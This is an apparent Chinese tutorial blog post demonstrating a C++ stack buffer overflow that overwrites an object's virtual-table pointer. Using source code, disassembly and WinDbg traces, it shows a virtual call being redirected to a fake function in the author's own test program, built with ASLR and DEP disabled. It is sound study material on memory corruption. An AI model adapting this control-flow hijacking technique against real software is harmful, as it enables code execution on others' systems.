天天看點

C++溢出對象虛函數表指針

    C++一特性是通過virtual關鍵字實作運作時多态,雖然自己用到這個關鍵字的機會不多,但很多引用的第三方庫會大量使用這個關鍵字,比如MFC...如果某個函數由virtual關鍵字修飾,并且通過指針方式調用,則由編譯器實作運作時多态,也是本文溢出虛函數表并加以利用的前提條件。虛表的概念可以參考這篇文章:​​C++虛表和多态​​,在這篇文章裡就不再過多解釋了。

    文章開頭提到了能完成溢出利用的前提條件,看下Object.Function()調用方式和ObjectPtr->Function()調用方式的差别,源碼如下:

class base
{
public:
  virtual void test()
  {
    printf("%s\n","base:test");
  }
};

int main()
{
  base obj1;
  base* objPtr = &obj1;

  obj1.test(); //普通調用方式
  objPtr->test(); //運作時多态
  return 0;
}      

截取關鍵部分的反彙編代碼:

base* objPtr = &obj1;
00401026  lea         eax,[obj1]  
00401029  mov         dword ptr [objPtr],eax  

  obj1.test();
0040102C  lea         ecx,[obj1]  
0040102F  call        base::test (401090h)  // 1)對應的OpCode為0x0040102F:e8 5c 00 00 00
  objPtr->test();
00401034  mov         eax,dword ptr [objPtr]  
00401037  mov         edx,dword ptr [eax]  
00401039  mov         esi,esp  
0040103B  mov         ecx,dword ptr [objPtr]  
0040103E  mov         eax,dword ptr [edx]  
00401040  call        eax  // 2)      

反彙編代碼call base::test (401090h)的調用目标就是虛函數test所在的位址(為了編譯示範效果,我已關閉連結選項中的增量連結):

virtual void test()
  {
00401090  push        ebp  
00401091  mov         ebp,esp  
00401093  sub         esp,0CCh  
00401099  push        ebx  
0040109A  push        esi  
0040109B  push        edi  
0040109C  push        ecx  
0040109D  lea         edi,[ebp-0CCh]  
004010A3  mov         ecx,33h  
004010A8  mov         eax,0CCCCCCCCh  
004010AD  rep stos    dword ptr es:[edi]  
004010AF  pop         ecx  
004010B0  mov         dword ptr [ebp-8],ecx      

    從這段代碼可以看到這些資訊:

這段是我自己主觀判斷的)靈活性給我們帶來了利用的機會。

     上面已經知道了2種調用機制的差别,現在将重點放到運作時多态的實作上。(為了行文友善,這裡容我假設你已經閱讀了<C++虛表和多态>一文,并對虛表機制有一定了解)。先看下Obj1對象的記憶體分布圖:

C++溢出對象虛函數表指針

圖中顯示Obj1對象的虛表存在于Obj1對象外部(按我調試的結論,虛表是類對象所共有,存在于PE檔案rodata節中,因為每次修改虛表都會引起訪存異常。),在對象内部僅保留一個指針成員指向該共有虛表。如果讓指針指向錯誤的地方----比如我們僞造的虛表,則程式會不假思索的去僞造的虛表取虛函數位址并執行。

    鑒于這種猜測,我們動手嘗試覆寫Obj1對象的虛表,思路如下:先在棧上開辟一個數組,緊接着建立obj1對象,然後溢出數組直到Obj1對象虛表指針所在的記憶體。修改後的代碼如下:

class base
{
public:
<span > </span>unsigned char buff[4];
<span > </span>base()
<span > </span>{
<span >   </span>memset(buff,0xAA,4);
<span > </span>}
<span > </span>virtual void test()
<span > </span>{
<span >   </span>printf("%s\n","base:test");
<span > </span>}
};


void fakeFunc()
{
<span >   </span>printf("%s\n","fakeFunc");
}
unsigned char shellcode[] = {'\x00','\x10','\x40','\x00',
<span >     </span>'\xcc','\xcc','\xcc','\xcc',
<span >     </span>'\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc',
<span >     </span>'\x08','\xff','\x12','\x00'};
int main()
{
<span > </span>base* objPtr;
<span > </span>base obj1;
<span > </span>unsigned char buf[8] = {0};


<span > </span>objPtr = &obj1;
<span > </span>memcpy(buf,shellcode,0x14);


<span > </span>objPtr->test();
<span > </span>return 0;
}      

調試檢視變量obj1和buf的記憶體分布情況:

<pre name="code" class="cpp">0:000> dd obj1 l1
0012ff18  0043b1d4
0:000> dd buf 
0012ff08  00000000 00000000 cccccccc cccccccc 
0012ff18  0043b1d4 aaaaaaaa cccccccc cccccccc      

從windbg傳回的結果看,buf後面緊貼着0x8B的0xcc,這是變量儲存區,由vs編譯生成的gap,用于檢測棧溢出,緊随其後的0x012ff18是obj1對象所在記憶體區,這個位址同時也是obj1對象的虛表指針所在,隻要巧妙的構造copy給buf的内容,就能使objPtr->test()去執行fakeFunc函數。為了便于試驗中構造shellcode,設定VS連結選項随機基質和資料執行保護都為No。

我構造用以溢出buf的緩存區的内容為:

unsigned char shellcode[] = {'\x00','\x10','\x40','\x00',

'\xcc','\xcc','\xcc','\xcc',

'\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc','\xcc',

'\x08','\xff','\x12','\x00'};

shellcode在這有2個作用:1)很明顯的一點溢出buf到obj1所在位址;2)shellcode前4B充當虛函數表,當然這個表的内容比較單一,隻有一個表項,表項内容是fakeFunc的位址(見下面的windbg輸出結果)。這部分内容我用紅色字型标示:'\x00','\x10','\x40','\x00'(Intel小端序),這個需要讀者按照自己實際情況修改。

0:000> u fakeFunc
00401000 55              push    ebp
00401001 8bec            mov     ebp,esp      

綠色字型部分:

'\x08','\xff','\x12','\x00',這4B正好覆寫obj1的虛函數表指針:

這是覆寫前buf和Obj1的記憶體情況:

0:000> dd buf L8
0012ff08  00000000 00000000 cccccccc cccccccc
0012ff18  0043b1c0 aaaaaaaa cccccccc cccccccc      

這是執行memcpy之後覆寫Obj1的情況:

0:000> dd buf L8
0012ff08  00401000 cccccccc cccccccc cccccccc
0012ff18  0012ff08 aaaaaaaa cccccccc cccccccc      

最後,看下覆寫後程式objPtr->test()執行情況:

C++溢出對象虛函數表指針

圖中紅框是objPtr->test()對應的反彙編代碼,我們單步執行檢視結果:

0:000> t
virtual!main+0x5c:
004010ac 8b10            mov     edx,dword ptr [eax]  ds:0023:0012ff18=0012ff08
0:000> r eax
eax=0012ff18      

1.這步是取objPtr指針位址,eax=0x12ff18,對應objPtr對象起址,同時是虛函數表指針位址

0:000> p
virtual!main+0x5e:
004010ae 8bf4            mov     esi,esp
0:000> r edx
edx=0012ff08      

2.這步是從虛函數表指針取虛表位址到edx

004010b3 8b02            mov     eax,dword ptr [edx]  ds:0023:0012ff08={virtual!fakeFunc (00401000)}
0:000> p
eip=004010b5 esp=0012fe38 ebp=0012ff34
virtual!main+0x65:
004010b5 ffd0            call    eax {virtual!fakeFunc (00401000)}      

3.跳過_chkesp相關的代碼,繼續執行的結果。

前面說過目前虛表中隻有一項,目前edx存放虛表位址,是以[edx]中的值存了被僞造的虛函數的位址0x401000,将其存放到eax

0:000> r eax
eax=00401000      

之後,F5運作,檢視結果,已經跳轉到fakeFunc中:

C++溢出對象虛函數表指針

繼續閱讀